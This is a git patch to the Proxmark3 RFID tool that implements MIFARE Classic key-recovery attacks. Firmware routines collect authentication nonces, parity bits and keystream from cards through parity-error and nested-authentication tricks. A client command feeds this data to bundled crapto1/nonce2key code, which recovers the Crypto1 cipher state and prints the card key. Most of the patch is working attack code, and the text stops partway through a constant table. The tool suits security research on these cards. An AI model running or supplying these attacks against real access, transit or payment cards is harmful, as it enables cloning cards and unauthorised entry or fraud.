From f89c705002842291e39d000f27dbaea1ddd78917 Mon Sep 17 00:00:00 2001 From: "Merlokbr@gmail.com" Date: Tue, 31 May 2011 11:31:20 +0000 Subject: [PATCH] improved version of "hf 14a mifare" command with merge with utility nonce2key --- armsrc/iso14443a.c | 372 +++++++++++++++++++------- armsrc/iso14443a.h | 3 + armsrc/mifareutil.c | 21 +- armsrc/mifareutil.h | 8 +- client/Makefile | 3 + client/cmdhf14a.c | 67 ++++- client/nonce2key/crapto1.c | 494 +++++++++++++++++++++++++++++++++++ client/nonce2key/crapto1.h | 97 +++++++ client/nonce2key/crypto1.c | 93 +++++++ client/nonce2key/nonce2key.c | 57 ++++ client/nonce2key/nonce2key.h | 19 ++ client/obj/nonce2key/.dummy | 0 client/util.c | 19 ++ client/util.h | 2 + 14 files changed, 1152 insertions(+), 103 deletions(-) create mode 100644 client/nonce2key/crapto1.c create mode 100644 client/nonce2key/crapto1.h create mode 100644 client/nonce2key/crypto1.c create mode 100644 client/nonce2key/nonce2key.c create mode 100644 client/nonce2key/nonce2key.h create mode 100644 client/obj/nonce2key/.dummy diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c index efe6bfc4..7b709ab0 100644 --- a/armsrc/iso14443a.c +++ b/armsrc/iso14443a.c @@ -1,4 +1,5 @@ //----------------------------------------------------------------------------- +// Merlok - June 2011 // Gerhard de Koning Gans - May 2008 // Hagen Fritsch - June 2010 // @@ -1492,6 +1493,16 @@ int ReaderReceive(uint8_t* receivedAnswer) return Demod.len; } +int ReaderReceivePar(uint8_t* receivedAnswer, uint32_t * parptr) +{ + int samples = 0; + if (!GetIso14443aAnswerFromTag(receivedAnswer,160,&samples,0)) return FALSE; + if (tracing) LogTrace(receivedAnswer,Demod.len,samples,Demod.parityBits,FALSE); + *parptr = Demod.parityBits; + if(samples == 0) return FALSE; + return Demod.len; +} + /* performs iso14443a anticolision procedure * fills the uid pointer unless NULL * fills resp_data unless NULL */ @@ -1664,11 +1675,11 @@ void ReaderMifare(uint32_t parameter) { // Mifare AUTH uint8_t mf_auth[] = { 0x60,0x00,0xf5,0x7b }; - uint8_t mf_nr_ar[] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; + uint8_t mf_nr_ar[] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; - uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + 3560); // was 3560 - tied to other size changes - traceLen = 0; - tracing = false; + uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + 3560); // was 3560 - tied to other size changes + traceLen = 0; + tracing = false; iso14443a_setup(); @@ -1676,89 +1687,103 @@ void ReaderMifare(uint32_t parameter) LED_B_OFF(); LED_C_OFF(); - byte_t nt_diff = 0; - LED_A_OFF(); - byte_t par = 0; - byte_t par_mask = 0xff; - byte_t par_low = 0; - int led_on = TRUE; - - tracing = FALSE; - byte_t nt[4]; - byte_t nt_attacked[4]; - byte_t par_list[8]; - byte_t ks_list[8]; - num_to_bytes(parameter,4,nt_attacked); - - while(TRUE) - { - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - SpinDelay(200); - FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); + byte_t nt_diff = 0; + LED_A_OFF(); + byte_t par = 0; + byte_t par_mask = 0xff; + byte_t par_low = 0; + int led_on = TRUE; + uint8_t uid[7]; + uint32_t cuid; - // Test if the action was cancelled - if(BUTTON_PRESS()) { - break; - } + tracing = FALSE; + byte_t nt[4] = {0,0,0,0}; + byte_t nt_attacked[4]; + byte_t par_list[8] = {0,0,0,0,0,0,0,0}; + byte_t ks_list[8] = {0,0,0,0,0,0,0,0}; + num_to_bytes(parameter, 4, nt_attacked); + int isOK = 0; + + while(TRUE) + { + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + SpinDelay(200); + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); - if(!iso14443a_select_card(NULL, NULL, NULL)) continue; + // Test if the action was cancelled + if(BUTTON_PRESS()) { + break; + } - // Transmit MIFARE_CLASSIC_AUTH - ReaderTransmit(mf_auth,sizeof(mf_auth)); + if(!iso14443a_select_card(uid, NULL, &cuid)) continue; - // Receive the (16 bit) "random" nonce - if (!ReaderReceive(receivedAnswer)) continue; - memcpy(nt,receivedAnswer,4); + // Transmit MIFARE_CLASSIC_AUTH + ReaderTransmit(mf_auth, sizeof(mf_auth)); - // Transmit reader nonce and reader answer - ReaderTransmitPar(mf_nr_ar,sizeof(mf_nr_ar),par); + // Receive the (16 bit) "random" nonce + if (!ReaderReceive(receivedAnswer)) continue; + memcpy(nt, receivedAnswer, 4); - // Receive 4 bit answer - if (ReaderReceive(receivedAnswer)) - { - if (nt_diff == 0) - { - LED_A_ON(); - memcpy(nt_attacked,nt,4); - par_mask = 0xf8; - par_low = par & 0x07; - } + // Transmit reader nonce and reader answer + ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar),par); - if (memcmp(nt,nt_attacked,4) != 0) continue; + // Receive 4 bit answer + if (ReaderReceive(receivedAnswer)) + { + if (nt_diff == 0) + { + LED_A_ON(); + memcpy(nt_attacked, nt, 4); + par_mask = 0xf8; + par_low = par & 0x07; + } - led_on = !led_on; - if(led_on) LED_B_ON(); else LED_B_OFF(); - par_list[nt_diff] = par; - ks_list[nt_diff] = receivedAnswer[0]^0x05; + if (memcmp(nt, nt_attacked, 4) != 0) continue; - // Test if the information is complete - if (nt_diff == 0x07) break; + led_on = !led_on; + if(led_on) LED_B_ON(); else LED_B_OFF(); + par_list[nt_diff] = par; + ks_list[nt_diff] = receivedAnswer[0] ^ 0x05; - nt_diff = (nt_diff+1) & 0x07; - mf_nr_ar[3] = nt_diff << 5; - par = par_low; - } else { - if (nt_diff == 0) - { - par++; - } else { - par = (((par>>3)+1) << 3) | par_low; - } - } - } + // Test if the information is complete + if (nt_diff == 0x07) { + isOK = 1; + break; + } + + nt_diff = (nt_diff + 1) & 0x07; + mf_nr_ar[3] = nt_diff << 5; + par = par_low; + } else { + if (nt_diff == 0) + { + par++; + } else { + par = (((par >> 3) + 1) << 3) | par_low; + } + } + } - LogTrace(nt,4,0,GetParity(nt,4),TRUE); - LogTrace(par_list,8,0,GetParity(par_list,8),TRUE); - LogTrace(ks_list,8,0,GetParity(ks_list,8),TRUE); + LogTrace(nt, 4, 0, GetParity(nt, 4), TRUE); + LogTrace(par_list, 8, 0, GetParity(par_list, 8), TRUE); + LogTrace(ks_list, 8, 0, GetParity(ks_list, 8), TRUE); - // Thats it... + UsbCommand ack = {CMD_ACK, {isOK, 0, 0}}; + memcpy(ack.d.asBytes + 0, uid, 4); + memcpy(ack.d.asBytes + 4, nt, 4); + memcpy(ack.d.asBytes + 8, par_list, 8); + memcpy(ack.d.asBytes + 16, ks_list, 8); + + LED_B_ON(); + UsbSendPacket((uint8_t *)&ack, sizeof(UsbCommand)); + LED_B_OFF(); + + // Thats it... FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); LEDsoff(); - tracing = TRUE; - - DbpString("COMMAND FINISHED"); - - Dbprintf("nt=%x", (int)nt[0]); + tracing = TRUE; + +// DbpString("COMMAND mifare FINISHED"); } //----------------------------------------------------------------------------- @@ -2027,6 +2052,14 @@ void MifareWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain) } +// Return 1 if the nonce is invalid else return 0 +int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, byte_t * parity) { + return ((oddparity((Nt >> 24) & 0xFF) == ((parity[0]) ^ oddparity((NtEnc >> 24) & 0xFF) ^ BIT(Ks1,16))) & \ + (oddparity((Nt >> 16) & 0xFF) == ((parity[1]) ^ oddparity((NtEnc >> 16) & 0xFF) ^ BIT(Ks1,8))) & \ + (oddparity((Nt >> 8) & 0xFF) == ((parity[2]) ^ oddparity((NtEnc >> 8) & 0xFF) ^ BIT(Ks1,0)))) ? 1 : 0; +} + + //----------------------------------------------------------------------------- // MIFARE nested authentication. // @@ -2041,60 +2074,191 @@ void MifareNested(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain) ui64Key = bytes_to_num(datain, 6); // variables - byte_t isOK = 0; + uint8_t targetBlockNo = blockNo + 1; + int rtr, i, m, len; + int davg, dmin, dmax; uint8_t uid[8]; - uint32_t cuid; - uint8_t dataoutbuf[16]; + uint32_t cuid, nt1, nt2, nttmp, nttest, par, ks1; + uint8_t par_array[4]; + nestedVector nvector[3][10]; + int nvectorcount[3] = {10, 10, 10}; + int ncount = 0; struct Crypto1State mpcs = {0, 0}; struct Crypto1State *pcs; pcs = &mpcs; + uint8_t* receivedAnswer = mifare_get_bigbufptr(); // clear trace traceLen = 0; -// tracing = false; + tracing = false; iso14443a_setup(); LED_A_ON(); - LED_B_OFF(); + LED_B_ON(); LED_C_OFF(); - while (true) { + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + SpinDelay(200); + + davg = dmax = 0; + dmin = 2000; + + // test nonce distance + for (rtr = 0; rtr < 10; rtr++) { + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + SpinDelay(100); + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); + + // Test if the action was cancelled + if(BUTTON_PRESS()) { + break; + } + if(!iso14443a_select_card(uid, NULL, &cuid)) { Dbprintf("Can't select card"); break; }; - if(mifare_classic_auth(pcs, cuid, blockNo, keyType, ui64Key, AUTH_FIRST)) { - Dbprintf("Auth error"); + if(mifare_classic_authex(pcs, cuid, blockNo, keyType, ui64Key, AUTH_FIRST, &nt1)) { + Dbprintf("Auth1 error"); break; }; - // nested authenticate block = (blockNo + 1) - if(mifare_classic_auth(pcs, (uint32_t)bytes_to_num(uid, 4), blockNo + 1, keyType, ui64Key, AUTH_NESTED)) { - Dbprintf("Auth error"); + if(mifare_classic_authex(pcs, cuid, blockNo, keyType, ui64Key, AUTH_NESTED, &nt2)) { + Dbprintf("Auth2 error"); break; }; - if(mifare_classic_readblock(pcs, (uint32_t)bytes_to_num(uid, 4), blockNo + 1, dataoutbuf)) { - Dbprintf("Read block error"); + nttmp = prng_successor(nt1, 500); + for (i = 501; i < 2000; i++) { + nttmp = prng_successor(nttmp, 1); + if (nttmp == nt2) break; + } + + if (i != 2000) { + davg += i; + if (dmin > i) dmin = i; + if (dmax < i) dmax = i; +// Dbprintf("r=%d nt1=%08x nt2=%08x distance=%d", rtr, nt1, nt2, i); + } + } + + if (rtr == 0) return; + + davg = davg / rtr; + Dbprintf("distance: min=%d max=%d avg=%d", dmin, dmax, davg); + + LED_B_OFF(); + + tracing = true; + + LED_C_ON(); + + // get crypted nonces for target sector + for (rtr = 0; rtr < 4; rtr++) { + Dbprintf("------------------------------"); + + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + SpinDelay(100); + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); + + // Test if the action was cancelled + if(BUTTON_PRESS()) { + break; + } + + if(!iso14443a_select_card(uid, NULL, &cuid)) { + Dbprintf("Can't select card"); + break; + }; + + if(mifare_classic_authex(pcs, cuid, blockNo, keyType, ui64Key, AUTH_FIRST, &nt1)) { + Dbprintf("Auth1 error"); break; }; - if(mifare_classic_halt(pcs, (uint32_t)bytes_to_num(uid, 4))) { - Dbprintf("Halt error"); + // nested authentication + len = mifare_sendcmd_shortex(pcs, AUTH_NESTED, 0x60 + (keyType & 0x01), targetBlockNo, receivedAnswer, &par); + if (len != 4) { + Dbprintf("Auth2 error len=%d", len); break; }; + + nt2 = bytes_to_num(receivedAnswer, 4); + Dbprintf("r=%d nt1=%08x nt2enc=%08x nt2par=%08x", rtr, nt1, nt2, par); - isOK = 1; - break; +// ----------------------- test +/* uint32_t d_nt, d_ks1, d_ks2, d_ks3, reader_challenge; + byte_t ar[4]; + + ar[0] = 0x55; + ar[1] = 0x41; + ar[2] = 0x49; + ar[3] = 0x92; + + crypto1_destroy(pcs); + crypto1_create(pcs, ui64Key); + + // decrypt nt with help of new key + d_nt = crypto1_word(pcs, nt2 ^ cuid, 1) ^ nt2; + + reader_challenge = d_nt;//(uint32_t)bytes_to_num(ar, 4); + d_ks1 = crypto1_word(pcs, reader_challenge, 0); + d_ks2 = crypto1_word(pcs, 0, 0); + d_ks3 = crypto1_word(pcs, 0,0); + + Dbprintf("TST: ks1=%08x nt=%08x", d_ks1, d_nt);*/ +// ----------------------- test + + // Parity validity check + for (i = 0; i < 4; i++) { + par_array[i] = (oddparity(receivedAnswer[i]) != ((par & 0x08) >> 3)); + par = par << 1; + } + + ncount = 0; + for (m = dmin - 10; m < dmax + 10; m++) { + nttest = prng_successor(nt1, m); + ks1 = nt2 ^ nttest; + +//-------------------------------------- test +/* if (nttest == d_nt){ + Dbprintf("nttest=d_nt! m=%d ks1=%08x nttest=%08x", m, ks1, nttest); + }*/ +//-------------------------------------- test + if (valid_nonce(nttest, nt2, ks1, par_array) && (ncount < 11)){ + + nvector[2][ncount].nt = nttest; + nvector[2][ncount].ks1 = ks1; + ncount++; + nvectorcount[2] = ncount; + + Dbprintf("valid m=%d ks1=%08x nttest=%08x", m, ks1, nttest); + } + + } + + // select vector with length less than got + m = 2; + if (nvectorcount[2] < nvectorcount[1]) m = 1; + if (nvectorcount[2] < nvectorcount[0]) m = 0; + if (m != 2) { + for (i = 0; i < nvectorcount[m]; i++) { + nvector[m][i] = nvector[2][i]; + } + nvectorcount[m] = nvectorcount[2]; + } + + Dbprintf("vector count: 1=%d 2=%d 3=%d", nvectorcount[0], nvectorcount[1], nvectorcount[2]); } + + LED_C_OFF(); + // ----------------------------- crypto1 destroy crypto1_destroy(pcs); - DbpString("NESTED FINISHED"); - // add trace trailer uid[0] = 0xff; uid[1] = 0xff; @@ -2102,13 +2266,33 @@ void MifareNested(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain) uid[3] = 0xff; LogTrace(uid, 4, 0, 0, TRUE); - UsbCommand ack = {CMD_ACK, {isOK, 0, 0}}; - memcpy(ack.d.asBytes, dataoutbuf, 16); + for (i = 0; i < 2; i++) { + ncount = nvectorcount[i]; + if (ncount > 5) ncount = 5; //!!!!! needs to be 2 packets x 5 pairs (nt,ks1) + + // isEOF = 0 + UsbCommand ack = {CMD_ACK, {0, ncount, targetBlockNo}}; + memcpy(ack.d.asBytes, &cuid, 4); + for (m = 0; m < 5; m++) { + memcpy(ack.d.asBytes + 4 + m * 8 + 0, &nvector[i][m].nt, 4); + memcpy(ack.d.asBytes + 4 + m * 8 + 4, &nvector[i][m].ks1, 4); + } + + LED_B_ON(); + UsbSendPacket((uint8_t *)&ack, sizeof(UsbCommand)); + LED_B_OFF(); + } + + // finalize list + // isEOF = 1 + UsbCommand ack = {CMD_ACK, {1, 0, 0}}; LED_B_ON(); UsbSendPacket((uint8_t *)&ack, sizeof(UsbCommand)); LED_B_OFF(); + DbpString("NESTED FINISHED"); + // Thats it... FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); LEDsoff(); diff --git a/armsrc/iso14443a.h b/armsrc/iso14443a.h index f848c6e9..7b5444fb 100644 --- a/armsrc/iso14443a.h +++ b/armsrc/iso14443a.h @@ -2,6 +2,8 @@ #define __ISO14443A_H #include "common.h" +typedef struct nestedVector { uint32_t nt, ks1; } nestedVector; + extern byte_t oddparity (const byte_t bt); extern uint32_t GetParity(const uint8_t * pbtCmd, int iLen); extern void AppendCrc14443a(uint8_t* data, int len); @@ -10,6 +12,7 @@ extern void ReaderTransmitShort(const uint8_t* bt); extern void ReaderTransmit(uint8_t* frame, int len); extern void ReaderTransmitPar(uint8_t* frame, int len, uint32_t par); extern int ReaderReceive(uint8_t* receivedAnswer); +extern int ReaderReceivePar(uint8_t* receivedAnswer, uint32_t * parptr); extern void iso14443a_setup(); extern int iso14443a_select_card(uint8_t * uid_ptr, iso14a_card_select_t * resp_data, uint32_t * cuid_ptr); diff --git a/armsrc/mifareutil.c b/armsrc/mifareutil.c index 59dafedc..1f8a4d17 100644 --- a/armsrc/mifareutil.c +++ b/armsrc/mifareutil.c @@ -24,6 +24,11 @@ uint8_t* mifare_get_bigbufptr(void) { } int mifare_sendcmd_short(struct Crypto1State *pcs, uint8_t crypted, uint8_t cmd, uint8_t data, uint8_t* answer) +{ + return mifare_sendcmd_shortex(pcs, crypted, cmd, data, answer, NULL); +} + +int mifare_sendcmd_shortex(struct Crypto1State *pcs, uint8_t crypted, uint8_t cmd, uint8_t data, uint8_t* answer, uint32_t * parptr) { uint8_t dcmd[4], ecmd[4]; uint32_t pos, par, res; @@ -48,7 +53,9 @@ int mifare_sendcmd_short(struct Crypto1State *pcs, uint8_t crypted, uint8_t cmd, ReaderTransmit(dcmd, sizeof(dcmd)); } - int len = ReaderReceive(answer); + int len = ReaderReceivePar(answer, &par); + + if (parptr) *parptr = par; if (crypted == CRYPT_ALL) { if (len == 1) { @@ -70,6 +77,11 @@ int mifare_sendcmd_short(struct Crypto1State *pcs, uint8_t crypted, uint8_t cmd, } int mifare_classic_auth(struct Crypto1State *pcs, uint32_t uid, uint8_t blockNo, uint8_t keyType, uint64_t ui64Key, uint64_t isNested) +{ + return mifare_classic_authex(pcs, uid, blockNo, keyType, ui64Key, isNested, NULL); +} + +int mifare_classic_authex(struct Crypto1State *pcs, uint32_t uid, uint8_t blockNo, uint8_t keyType, uint64_t ui64Key, uint64_t isNested, uint32_t * ntptr) { // variables int len; @@ -111,7 +123,12 @@ int mifare_classic_auth(struct Crypto1State *pcs, uint32_t uid, uint8_t blockNo, } // some statistic - Dbprintf("auth uid: %08x nt: %08x", uid, nt); + if (!ntptr) + Dbprintf("auth uid: %08x nt: %08x", uid, nt); + + // save Nt + if (ntptr) + *ntptr = nt; par = 0; // Generate (encrypted) nr+parity by loading it into the cipher (Nr) diff --git a/armsrc/mifareutil.h b/armsrc/mifareutil.h index a75d0d32..d3307bb7 100644 --- a/armsrc/mifareutil.h +++ b/armsrc/mifareutil.h @@ -15,8 +15,14 @@ #define AUTH_FIRST 0 #define AUTH_NESTED 2 +uint8_t* mifare_get_bigbufptr(void); +int mifare_sendcmd_short(struct Crypto1State *pcs, uint8_t crypted, uint8_t cmd, uint8_t data, uint8_t* answer); +int mifare_sendcmd_shortex(struct Crypto1State *pcs, uint8_t crypted, uint8_t cmd, uint8_t data, uint8_t* answer, uint32_t * parptr); + int mifare_classic_auth(struct Crypto1State *pcs, uint32_t uid, \ - uint8_t blockNo, uint8_t keyType, uint64_t ui64Key, uint64_t isNested); + uint8_t blockNo, uint8_t keyType, uint64_t ui64Key, uint64_t isNested); +int mifare_classic_authex(struct Crypto1State *pcs, uint32_t uid, \ + uint8_t blockNo, uint8_t keyType, uint64_t ui64Key, uint64_t isNested, uint32_t * ntptr); int mifare_classic_readblock(struct Crypto1State *pcs, uint32_t uid, uint8_t blockNo, uint8_t *blockData); int mifare_classic_writeblock(struct Crypto1State *pcs, uint32_t uid, uint8_t blockNo, uint8_t *blockData); int mifare_classic_halt(struct Crypto1State *pcs, uint32_t uid); diff --git a/client/Makefile b/client/Makefile index 6479d6cc..aa0fb61f 100644 --- a/client/Makefile +++ b/client/Makefile @@ -40,6 +40,9 @@ QTGUI = guidummy.o endif CMDSRCS = \ + nonce2key/crapto1.c\ + nonce2key/crypto1.c\ + nonce2key/nonce2key.c\ crc16.c \ iso14443crc.c \ iso15693tools.c \ diff --git a/client/cmdhf14a.c b/client/cmdhf14a.c index 25c46d1a..e0b1c3a9 100644 --- a/client/cmdhf14a.c +++ b/client/cmdhf14a.c @@ -1,4 +1,5 @@ //----------------------------------------------------------------------------- +// 2011, Merlok // Copyright (C) 2010 iZsh , Hagen Fritsch // // This code is licensed to you under the terms of the GNU GPL, version 2 or, @@ -11,6 +12,7 @@ #include #include #include +#include #include "util.h" #include "iso14443crc.h" #include "data.h" @@ -20,6 +22,8 @@ #include "cmdhf14a.h" #include "common.h" #include "cmdmain.h" +#include "nonce2key/nonce2key.h" +#include "nonce2key/crapto1.h" static int CmdHelp(const char *Cmd); @@ -147,7 +151,7 @@ int CmdHF14AList(const char *Cmd) prev = timestamp; i += (len + 9); } - return 0; + return 0; } void iso14a_set_timeout(uint32_t timeout) { @@ -157,9 +161,60 @@ void iso14a_set_timeout(uint32_t timeout) { int CmdHF14AMifare(const char *Cmd) { - UsbCommand c = {CMD_READER_MIFARE, {strtol(Cmd, NULL, 0), 0, 0}}; - SendCommand(&c); - return 0; + uint32_t uid = 0; + uint32_t nt = 0; + uint64_t par_list = 0, ks_list = 0, r_key = 0; + uint8_t isOK = 0; + + UsbCommand c = {CMD_READER_MIFARE, {strtol(Cmd, NULL, 0), 0, 0}}; + SendCommand(&c); + + //flush queue + while (kbhit()) getchar(); + while (WaitForResponseTimeout(CMD_ACK, 500) != NULL) ; + + // message + printf("-------------------------------------------------------------------------\n"); + printf("Executing command. It may take up to 30 min.\n"); + printf("Press the key on proxmark3 device to abort proxmark3.\n"); + printf("Press the key on the proxmark3 device to abort both proxmark3 and client.\n"); + printf("-------------------------------------------------------------------------\n"); + + // wait cycle + while (true) { + printf("."); + if (kbhit()) { + getchar(); + printf("\naborted via keyboard!\n"); + break; + } + + UsbCommand * resp = WaitForResponseTimeout(CMD_ACK, 2000); + if (resp != NULL) { + isOK = resp->arg[0] & 0xff; + + uid = (uint32_t)bytes_to_num(resp->d.asBytes + 0, 4); + nt = (uint32_t)bytes_to_num(resp->d.asBytes + 4, 4); + par_list = bytes_to_num(resp->d.asBytes + 8, 8); + ks_list = bytes_to_num(resp->d.asBytes + 16, 8); + + printf("\n\n"); + PrintAndLog("isOk:%02x", isOK); + if (!isOK) PrintAndLog("Proxmark can't get statistic info. Execution aborted.\n"); + break; + } + } + printf("\n"); + + // error + if (isOK != 1) return 1; + + // execute original function from util nonce2key + if (nonce2key(uid, nt, par_list, ks_list, &r_key)) return 2; + printf("-------------------------------------------------------------------------\n"); + PrintAndLog("Key found:%012llx \n", r_key); + + return 0; } int CmdHF14AMfWrBl(const char *Cmd) @@ -180,7 +235,7 @@ int CmdHF14AMfWrBl(const char *Cmd) } PrintAndLog("l: %s", Cmd); - // skip spaces + // skip spaces while (*cmdp==' ' || *cmdp=='\t') cmdp++; blockNo = strtol(cmdp, NULL, 0) & 0xff; @@ -544,7 +599,7 @@ static command_t CommandTable[] = { {"help", CmdHelp, 1, "This help"}, {"list", CmdHF14AList, 0, "List ISO 14443a history"}, - {"mifare", CmdHF14AMifare, 0, "Read out sector 0 parity error messages"}, + {"mifare", CmdHF14AMifare, 0, "Read out sector 0 parity error messages. param - "}, {"mfrdbl", CmdHF14AMfRdBl, 0, "Read MIFARE classic block"}, {"mfrdsc", CmdHF14AMfRdSc, 0, "Read MIFARE classic sector"}, {"mfwrbl", CmdHF14AMfWrBl, 0, "Write MIFARE classic block"}, diff --git a/client/nonce2key/crapto1.c b/client/nonce2key/crapto1.c new file mode 100644 index 00000000..c0a158b5 --- /dev/null +++ b/client/nonce2key/crapto1.c @@ -0,0 +1,494 @@ +/* crapto1.c + + This program is free software; you can redistribute it and/or + modify it under the terms of the GNU General Public License + as published by the Free Software Foundation; either version 2 + of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, + Boston, MA 02110-1301, US$ + + Copyright (C) 2008-2008 bla +*/ +#include "crapto1.h" +#include + +#if !defined LOWMEM && defined __GNUC__ +static uint8_t filterlut[1 << 20]; +static void __attribute__((constructor)) fill_lut() +{ + uint32_t i; + for(i = 0; i < 1 << 20; ++i) + filterlut[i] = filter(i); +} +#define filter(x) (filterlut[(x) & 0xfffff]) +#endif + +static void quicksort(uint32_t* const start, uint32_t* const stop) +{ + uint32_t *it = start + 1, *rit = stop; + + if(it > rit) + return; + + while(it < rit) + if(*it <= *start) + ++it; + else if(*rit > *start) + --rit; + else + *it ^= (*it ^= *rit, *rit ^= *it); + + if(*rit >= *start) + --rit; + if(rit != start) + *rit ^= (*rit ^= *start, *start ^= *rit); + + quicksort(start, rit - 1); + quicksort(rit + 1, stop); +} +/** binsearch + * Binary search for the first occurence of *stop's MSB in sorted [start,stop] + */ +static inline uint32_t* +binsearch(uint32_t *start, uint32_t *stop) +{ + uint32_t mid, val = *stop & 0xff000000; + while(start != stop) + if(start[mid = (stop - start) >> 1] > val) + stop = &start[mid]; + else + start += mid + 1; + + return start; +} + +/** update_contribution + * helper, calculates the partial linear feedback contributions and puts in MSB + */ +static inline void +update_contribution(uint32_t *item, const uint32_t mask1, const uint32_t mask2) +{ + uint32_t p = *item >> 25; + + p = p << 1 | parity(*item & mask1); + p = p << 1 | parity(*item & mask2); + *item = p << 24 | (*item & 0xffffff); +} + +/** extend_table + * using a bit of the keystream extend the table of possible lfsr states + */ +static inline void +extend_table(uint32_t *tbl, uint32_t **end, int bit, int m1, int m2, uint32_t in) +{ + in <<= 24; + for(*tbl <<= 1; tbl <= *end; *++tbl <<= 1) + if(filter(*tbl) ^ filter(*tbl | 1)) { + *tbl |= filter(*tbl) ^ bit; + update_contribution(tbl, m1, m2); + *tbl ^= in; + } else if(filter(*tbl) == bit) { + *++*end = tbl[1]; + tbl[1] = tbl[0] | 1; + update_contribution(tbl, m1, m2); + *tbl++ ^= in; + update_contribution(tbl, m1, m2); + *tbl ^= in; + } else + *tbl-- = *(*end)--; +} +/** extend_table_simple + * using a bit of the keystream extend the table of possible lfsr states + */ +static inline void +extend_table_simple(uint32_t *tbl, uint32_t **end, int bit) +{ + for(*tbl <<= 1; tbl <= *end; *++tbl <<= 1) + if(filter(*tbl) ^ filter(*tbl | 1)) { + *tbl |= filter(*tbl) ^ bit; + } else if(filter(*tbl) == bit) { + *++*end = *++tbl; + *tbl = tbl[-1] | 1; + } else + *tbl-- = *(*end)--; +} +/** recover + * recursively narrow down the search space, 4 bits of keystream at a time + */ +static struct Crypto1State* +recover(uint32_t *o_head, uint32_t *o_tail, uint32_t oks, + uint32_t *e_head, uint32_t *e_tail, uint32_t eks, int rem, + struct Crypto1State *sl, uint32_t in) +{ + uint32_t *o, *e, i; + + if(rem == -1) { + for(e = e_head; e <= e_tail; ++e) { + *e = *e << 1 ^ parity(*e & LF_POLY_EVEN) ^ !!(in & 4); + for(o = o_head; o <= o_tail; ++o, ++sl) { + sl->even = *o; + sl->odd = *e ^ parity(*o & LF_POLY_ODD); + sl[1].odd = sl[1].even = 0; + } + } + return sl; + } + + for(i = 0; i < 4 && rem--; i++) { + extend_table(o_head, &o_tail, (oks >>= 1) & 1, + LF_POLY_EVEN << 1 | 1, LF_POLY_ODD << 1, 0); + if(o_head > o_tail) + return sl; + + extend_table(e_head, &e_tail, (eks >>= 1) & 1, + LF_POLY_ODD, LF_POLY_EVEN << 1 | 1, (in >>= 2) & 3); + if(e_head > e_tail) + return sl; + } + + quicksort(o_head, o_tail); + quicksort(e_head, e_tail); + + while(o_tail >= o_head && e_tail >= e_head) + if(((*o_tail ^ *e_tail) >> 24) == 0) { + o_tail = binsearch(o_head, o = o_tail); + e_tail = binsearch(e_head, e = e_tail); + sl = recover(o_tail--, o, oks, + e_tail--, e, eks, rem, sl, in); + } + else if(*o_tail > *e_tail) + o_tail = binsearch(o_head, o_tail) - 1; + else + e_tail = binsearch(e_head, e_tail) - 1; + + return sl; +} +/** lfsr_recovery + * recover the state of the lfsr given 32 bits of the keystream + * additionally you can use the in parameter to specify the value + * that was fed into the lfsr at the time the keystream was generated + */ +struct Crypto1State* lfsr_recovery32(uint32_t ks2, uint32_t in) +{ + struct Crypto1State *statelist; + uint32_t *odd_head = 0, *odd_tail = 0, oks = 0; + uint32_t *even_head = 0, *even_tail = 0, eks = 0; + int i; + + for(i = 31; i >= 0; i -= 2) + oks = oks << 1 | BEBIT(ks2, i); + for(i = 30; i >= 0; i -= 2) + eks = eks << 1 | BEBIT(ks2, i); + + odd_head = odd_tail = malloc(sizeof(uint32_t) << 21); + even_head = even_tail = malloc(sizeof(uint32_t) << 21); + statelist = malloc(sizeof(struct Crypto1State) << 18); + if(!odd_tail-- || !even_tail-- || !statelist) + goto out; + + statelist->odd = statelist->even = 0; + + for(i = 1 << 20; i >= 0; --i) { + if(filter(i) == (oks & 1)) + *++odd_tail = i; + if(filter(i) == (eks & 1)) + *++even_tail = i; + } + + for(i = 0; i < 4; i++) { + extend_table_simple(odd_head, &odd_tail, (oks >>= 1) & 1); + extend_table_simple(even_head, &even_tail, (eks >>= 1) & 1); + } + + in = (in >> 16 & 0xff) | (in << 16) | (in & 0xff00); + recover(odd_head, odd_tail, oks, + even_head, even_tail, eks, 11, statelist, in << 1); + +out: + free(odd_head); + free(even_head); + return statelist; +} + +static const uint32_t S1[] = { 0x62141, 0x310A0, 0x18850, 0x0C428, 0x06214, + 0x0310A, 0x85E30, 0xC69AD, 0x634D6, 0xB5CDE, 0xDE8DA, 0x6F46D, 0xB3C83, + 0x59E41, 0xA8995, 0xD027F, 0x6813F, 0x3409F, 0x9E6FA}; +static const uint32_t S2[] = { 0x3A557B00, 0x5D2ABD80, 0x2E955EC0, 0x174AAF60, + 0x0BA557B0, 0x05D2ABD8, 0x0449DE68, 0x048464B0, 0x42423258, 0x278192A8, + 0x156042D0, 0x0AB02168, 0x43F89B30, 0x61FC4D98, 0x765EAD48, 0x7D8FDD20, + 0x7EC7EE90, 0x7F63F748, 0x79117020}; +static const uint32_t T1[] = { 